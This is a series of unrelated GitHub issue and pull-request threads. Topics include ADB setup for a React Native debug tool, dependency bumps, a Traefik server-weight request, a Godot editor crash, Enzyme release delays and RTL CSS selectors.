Frappé requires Android Debug Bridge to be installed and added to your $PATH. Adb is included to Android SDK, and you can download it here: http://developer.android.com/intl/ru/sdk/index.html#Other
You should also add these 2 lines to your .bash_profile or .zshrc or whatever:
export ANDROID_HOME=/Users/<your user>/Library/Android/sdk
export PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools

ADB works fine or I can't shake .
But ReloadJs menu does not show, only system menu prompt .

Don't know.
Most probably your device's manufacturer has its own opinion on how "Menu" button should work (actually, we're just simulating menu button press instead of "shaking"), and overrides default React Native behaviour (do you use React Native, right? because the main purpose of Frappé is to work with React Native debug menu remotely).

Yeah, I use React Native.
I got it , you just simulating menu button press, not shaking a phone.
I wonder if you are going to support remotely shaking the phone device in the future ?
Thank you very much , and I will donate then :)

It is not possible to simulate shaking, unfortunately.


Thumnails

Hi Ts-Thomas,
Thank you created this package, I like it. I did not find this thumbnails feature, can you update more, please!!!

This feature (discover through an index of thumbnails) is already on the top section of my list of requested features. I'm pretty sure it will come.


Prototype GetClusters endpoint extension to expose (ID, name) pairs of clusters in any user role scope

Description
A detailed explanation of the changes in your PR.
Feel free to remove this section if it is overkill for your PR, and the title of your PR is sufficiently descriptive.
Checklist

[ ] Investigated and inspected CI test results
[ ] Unit test and regression tests added
[ ] Evaluated and added CHANGELOG entry if required
[ ] Determined and documented upgrade steps
[ ] Documented user facing changes (create PR based on openshift/openshift-docs and merge into rhacs-docs)

If any of these don't apply, please comment below.
Testing Performed
TODO(replace-me)
Use this space to explain how you tested your PR, or, if you didn't test it, why
you did not do so. Valid reasons include, for example, "CI is sufficient",
"No testable changes". Feel free to attach JSON snippets, curl commands,
screenshots.
In addition to reviewing your code, reviewers must also review your testing
instructions and make sure they are sufficient.

Implemented differently in https://github.com/stackrox/stackrox/pull/4801


Grafana helm Chart: Expose grafana-watcher image in values.yml

Expose grfana watcher image so it can be overrinded and pulled from another repository

lgtm, please squash the commit :-)

done

lgtm. @weiwei04 PTAL as well

let's move forward with this


Updated CODEOWNERS gitignore and CI dependencies

Updated CODEOWNERS gitignore and CI dependencies
This PR contains the following updates:

Package
Type
Update
Change

common-dev-assets

digest
dd53916 -> 51475f0

github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper
require
minor
v1.37.0 -> v1.39.4

go (source)
toolchain
patch
1.23.0 -> 1.23.1

Release required?

[X] No release
[ ] Patch release (x.x.X)
[ ] Minor release (x.X.x)
[ ] Major release (X.x.x)

Release Notes

terraform-ibm-modules/ibmcloud-terratest-wrapper (github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper)
v1.39.4
Compare Source
Bug Fixes

deps: update gomod (#870) (c2af394)

v1.39.3
Compare Source
Bug Fixes

handle failed edge cases (#869) (42eef2a)

v1.39.2
Compare Source
Bug Fixes

add an additional check before Undeploy, to ensure we do not trigger while still deploying (#868) (f427c67)

v1.39.1
Compare Source
Bug Fixes

Fail if undeploy stack fails (#867) (7b83c71)

v1.39.0
Compare Source
Features

refactor of EPX stacks tests (#866) (57dd998)

v1.38.4
Compare Source
Bug Fixes

for potential nil response object from schematics (#865) (cb253f3)

v1.38.3
Compare Source
Bug Fixes

deps: update gomod (#864) (802df12)

v1.38.2
Compare Source
Bug Fixes

deps: update gomod (#861) (2a64519)

v1.38.1
Compare Source
Bug Fixes

deps: update gomod (#857) (87710ff)

v1.38.0
Compare Source
Features

add function to check ingress health status of a cluster (#751) - Added new function testhelper.CheckClusterIngressHealthy() which can be used in Terraform tests to validate the status of an OpenShift cluster (801dd27)

v1.37.2
Compare Source
Bug Fixes

deps: update gomod (#855) (131e322)

v1.37.1
Compare Source
Bug Fixes

deps: update gomod (#854) (a79629e)

Run the pipeline
If the CI pipeline doesn't run when you create the PR, the PR requires a user with GitHub collaborators access to run the pipeline.
Run the CI pipeline when the PR is ready for review and you expect tests to pass. Add a comment to the PR with the following text:
/run pipeline

Checklist for reviewers

[ ] If relevant, a test for the change is included or updated with this PR.
[ ] If relevant, documentation for the change is included or updated with this PR.

For mergers

Use a conventional commit message to set the release level. Follow the guidelines.
Include information that users need to know about the PR in the commit message. The commit message becomes part of the GitHub release notes.
Use the Squash and merge option.

/run pipeline


[Feature]: Have a "time of export"

Contact Details
<EMAIL_ADDRESS>Description
The utility provider that buys energy from my solar system has a rule that says that they only buy exported power if it is in the "solar production period" and they set this to be from 7 am to 20 pm on summer and 8 am to 18pm on Winter.
It makes no sense to me to export power to the Grid outside of those hours.
Suggested Solution
Implement a "time to export" thing in the configs of Dynamic ESS, or a scheduled sell and scheduled buy from grid like you have in the ESS tab "scheduled charge"..
Thanks and keep up this amazing work.
Alternatives
No response
Additional Context
No response

Portugal. One or Two of our energy buyers say that they will only buy energy exported to the grid on "sun period" or "sun hours".


Log version of benchcab in output metadata

Add the benchcab version to the file metadata and report the version in any logging (see #103)

Hey team! Please add your planning poker estimate with Zenhub @bschroeter @ccarouge


Don't add html selector

Adding html increases specificity more and only allows targeting of the component if the page itself is in RTL/LTR mode. However, the dir attribute can be used on any given element really. Therefore an inner page node could be rtl while the parent document is ltr. Which means the output provided won't hit an element inside of a node with changed direction. Where a generic [dir="rtl"] .whatever type selector will hit it just fine.

I haven't encounter a situation that inner page node could be rtl while the parent document is ltr. Could you point out a real world sample so we can investigate on it? :)

I don't think it occurs in general sites often, if at all. I have seen some people bring up issues with other things where they're building demos and they mix directions to show off functionality. I just noticed the output here requires one strict direction on the entire document for things to work when that isn't what the specifications require. They simply care about the current nodes directionality, much like the :dir psuedo-class. It seems best to me to allow developers to build the output they want. This would however require rules target two things now that I think of it,
[dir="rtl"] .whatever,
.whatever[dir="rtl"] {}

Is there any reason to restrict it only to the html node? I simply see it as working in a very strict way where the specs allow for more leniency in changing the direction of the content.

I haven't encounter a situation that inner page node could be rtl while the parent document is ltr.

This doesn't mean that it can't happen. Don't make any assumptions! Why not just follow the HTML spec? It can't be too hard to drop the html from html from the prefix string.
Anyway, it happens on a site that I'm working on - we have not localized the whole page yet (with the menu, footers and all), but we want one section of the page to display property (with the arabic text being properly aligned), so the dir attribute is set on a div or two.

@rolfen I'd like to accept generate different outputs. If you can pass some params/options to change the final output, we can merge the work in the same repo.

@gasolin - Thank you. I think a callback function to customize output would be good - I saw this in another similar project.

Changing the prefix fails all the tests. Any idea how to solve that?

current plugin accept an object {} as options.
https://github.com/gasolin/postcss-bidirection/blob/master/index.js#L158
You can pass and parse the option here and control the output at the related place.

Hello! Should this issue not be closed?


Intermittent failing of wide-gemm

The build for the wide-gemm is unstable. It fails intermittently (due to some random magic).

This was fixed in the current main. PR #214 half-fixes this.


Corrected minor typo

Description

Fixed a minor typo that bothered me while reading the faq.

Fixes

Thanks for the fixes! Can we show you some appreciation?


Editor Crashes when typing in the name of a particular custom node

Tested versions

Reproducible in: 4.3-dev5, 4.3-stable (only 2 tested)

System information
Godot v4.3.dev5 - Windows 10.0.19045 - Vulkan (Forward+) - dedicated NVIDIA GeForce RTX 2080 Ti (NVIDIA; <IP_ADDRESS>86) - AMD Ryzen 7 3700X 8-Core Processor (16 Threads)
Issue description
If you have a custom node that contains an error, and inherits from another node, and your custom node's name contains the parent node's name, the editor will crash when you try to search the parent node in the "add node" menu. That's the best I can do. The steps to reproduce should clarify what I'm talking about. It's worth noting that the names don't seem to matter too much, but do seem to need to follow a [name] & [prefix][name] pattern.
Steps to reproduce
1: Make a new project
2: create these two files:
# S.gd
class_name S
extends Node

#AS.gd
class_name AS
extends S

var a: A

3: click the add node button and search "s"
Minimal reproduction project (MRP)
no-s.zip

This might be fixed by https://github.com/godotengine/godot/pull/86447.
See also: https://github.com/godotengine/godot/pull/90483

I can confirm this was fixed by https://github.com/godotengine/godot/pull/86447. (I could reproduce the issue before that PR was merged.)


Update deps & add explicit error log

Hello @mloiseleur! Thank you for your first PR! We'd love to send out some swag for you. If you like, please send me an email at<EMAIL_ADDRESS>with your T-shirt size and mailing address. I'll be sure to get a care package sent out!


File Browser: read from Elasticsearch and generate an API

File Browser: read from Elasticsearch and generate an API (facets and hits based on a config file)

STATUS: Web Service reads from ElasticSearch and generates the main API (/repository/files). summary and keyword search api non-functional yet

UPDATE: summary endpoint functional. export and keyword search non-functional still


feat(space-wizard): improved forge integration and refactoring

Improved forge integration. (validation and next navigation)
Fixes a number of style issues.
Refactored wizard to simplify extension and increase stability

Issues:

navigating back on the wizard does not work correctly
when validation fails... requests still get submitted.

There were the following issues with your Pull Request

Commit: 9e09165cd53ca7fddede7cd365c7b49dba05e2d7
Your subject line is longer than 50 characters

Guidelines are available at https://github.com/fabric8io/fabric8-ui

This message was auto-generated by https://gitcop.com

Can one of the admins verify this patch?

[test]


egressgw: Let the EGW manager relax rp_filter on egress device

Pods running on the Egress GW node fail to communicate with an external endpoint through the Egress GW due to the rp_filter in an environment where egress IP is assigned to a different interface than the one with the default route. The reply packets from the external endpoints are dropped by the rp_filter

A request from a local pod hits eth0 with the default route. It matches an IEGP, gets masqueraded & bpf-redirected to eth1 with Egress IP.
Replies hit eth1, are revSNATed, and passed on to the stack. rp-filter complains that they are received on eth1, when the route doesn't point towards eth1.

This PR fixes this issue by relaxing rp_filter on interfaces with Egress IP.

/test


teach users to run inference app locally

We link to the app landing page in the first section of the 2022 paper (and some other places I have recently mentioned this...) so I think we should try and avoid having a flagrant broken link from the heroku.
Obviously it would be ideal to do another deployment, but as a makeshift solution I would suggest just instructing them how to run the app locally using the package, which is what this PR implements, but happy to hear any other suggestions.

In the index.html file, it is not clear which link you are referring to in "see Github link below". Also, we could emphasise that this method is used to run the app locally by making a minor change to 'To access the app locally in your browser'.

Thank you for your suggestions, I reorderd it to hopefully be slightly clearer


Add section covering Time Zones for AccessLog in v2

Do you want to request a feature or report a bug?

Feature
What did you expect to see?
https://github.com/containous/traefik/blob/v1.7/docs/configuration/logs.md#time-zones in 2.x documentation.
In the 1.7 documentation, there is a brief section covering how to enable the local server timezone for access logs that appears to have never been ported to 2.x. The functionality seems to still exist and was confirmed as functioning per @kevinpollet and was re-discovered per https://github.com/containous/traefik/issues/7163

Closed by #7178.


Lack of recent NPM package updates

Describe the bug
Enzyme has not been published to NPM for over 6 months
To Reproduce
https://www.npmjs.com/package/enzyme
https://www.npmjs.com/package/enzyme-adapter-react-16
Expected behavior
There have been some important fixes merged in, such as the fix to support React 16.3 context API:
https://github.com/airbnb/enzyme/pull/1513 , which I (and I'm sure others) need to use.
Please can a new version of Enzyme + the React 16 adapter be published?
I realise AirBnB are moving away from React Native, which I guess could be the reason for lack of updates. If that is the case, can access be given to others in the community to publish new versions?

Airbnb's choices around React Native are utterly unrelated; it's simply that we aren't yet ready to publish updates.
I'm not going to publish any further updates to any part of enzyme that have partial support for React 16 features, as that will just result in a flood of new bug reports, all of which would distract from completing support for React 16's features.
It's being worked on; you'll need to be patient.

Ok sweet as - good news :)

No cache to at least get a pre-release? That would be so helpful to start experimenting with it and have an initial React 16.2+ support

@FezVrasta the work required to make a prerelease is basically identical to the work required to make a real one.

For anyone that wants to give the standard react-test-renderer a try, to get around this problem, I've just written up a medium article with some learnings on how to get started with it (the docs aren't that great!):
https://medium.com/@dupski/d9c65d689e88

The release will be as soon as possible; hopefully this or next month. I’d discourage migrating your tests to use the same APIs that motivated the creation of enzyme in the first place.

I'd be interested in reading about the motivations for Enzyme (I've just always used it). Is there a write-up somewhere?
The test renderer seems to be incredibly fast, although could just be my new MacBook :)

The following packages are now released:

enzyme v3.4.0
enzyme-adapter-react-16 v1.2.0
enzyme-adapter-react-16.3 v1.0.0
enzyme-adapter-react-16.2 v1.0.0
enzyme-adapter-react-16.1 v1.0.0
enzyme-adapter-react-15 v1.0.6
enzyme-adapter-react-15.4 v1.0.6
enzyme-adapter-react-14 v1.0.6
enzyme-adapter-react-13 v1.0.4
enzyme-adapter-utils v1.5.0


[FLINK-19233][python] Support distinct and filter keywords on Python UDAF

What is the purpose of the change
This pull request supports distinct and filter keywords on Python UDAF.
Brief change log

Support distinct keyword on Python UDAF.
support filter keyword on Python UDAF.

Verifying this change
This change is already covered by existing tests.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (yes)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (no)
If yes, how is the feature documented? (docs)

@dianfu Thanks for your comments! I have updated this PR.


Write backup summary in git commit message

For each backup run, backups may succeed or fail. To make this information visable overtime, I propose we write a backup summary to the commit log.
The rosdump utility can write a summary like follows:
Routers backup 4 devices of 5 devices

OK <IP_ADDRESS>
OK <IP_ADDRESS>
OK <IP_ADDRESS>
FAIL <IP_ADDRESS>
OK <IP_ADDRESS>

and use this summary as the commit message when using the git storage back-end.
What about when no changes are detected?
We push an empty commit, to make clear that a change happened;
The git cli option for this is:
git commit --allow-empty

Tested and released in v0.1.1
Looks great @e-asphyx

I don't think empty commits is the way to go here, it would make more sense to export Prometheus metric which would alert if some of the targets were unreachable...


|API] change server weight

It should be possible to change server weight using traefik API (useful for blue/green deployment).

@emilevauge Is there any progress on this feature?
Currently our setup looks like: nginx -> træfik -> app, mainly because we can't do proper blue/green deployment with just træfik (as far as I know).
It would be amazing to just use træfik, as it has all the features we need, except for this specific feature.

@emilevauge any update on this one?

+1


MerkleStore API uses Word instead of Digest

The MerkleStore API uses Word instead of Digest for all of it's public methods (with_merkle_tree / with_sparse_merkle_tree / get_node etc).  All merkle objects in the MerkleStore are natively of type Digest i.e. they are the digest of a hashing permutation - this is inclusive of leaves, inner nodes and the root.  Should the API be updated such that it expects arguments of type Digest instead of Word or is there some reason behind using Word?

related discussion: https://github.com/0xPolygonMiden/crypto/pull/121#discussion_r1156237319

Related issue: https://github.com/0xPolygonMiden/crypto/issues/59

Closed by #157.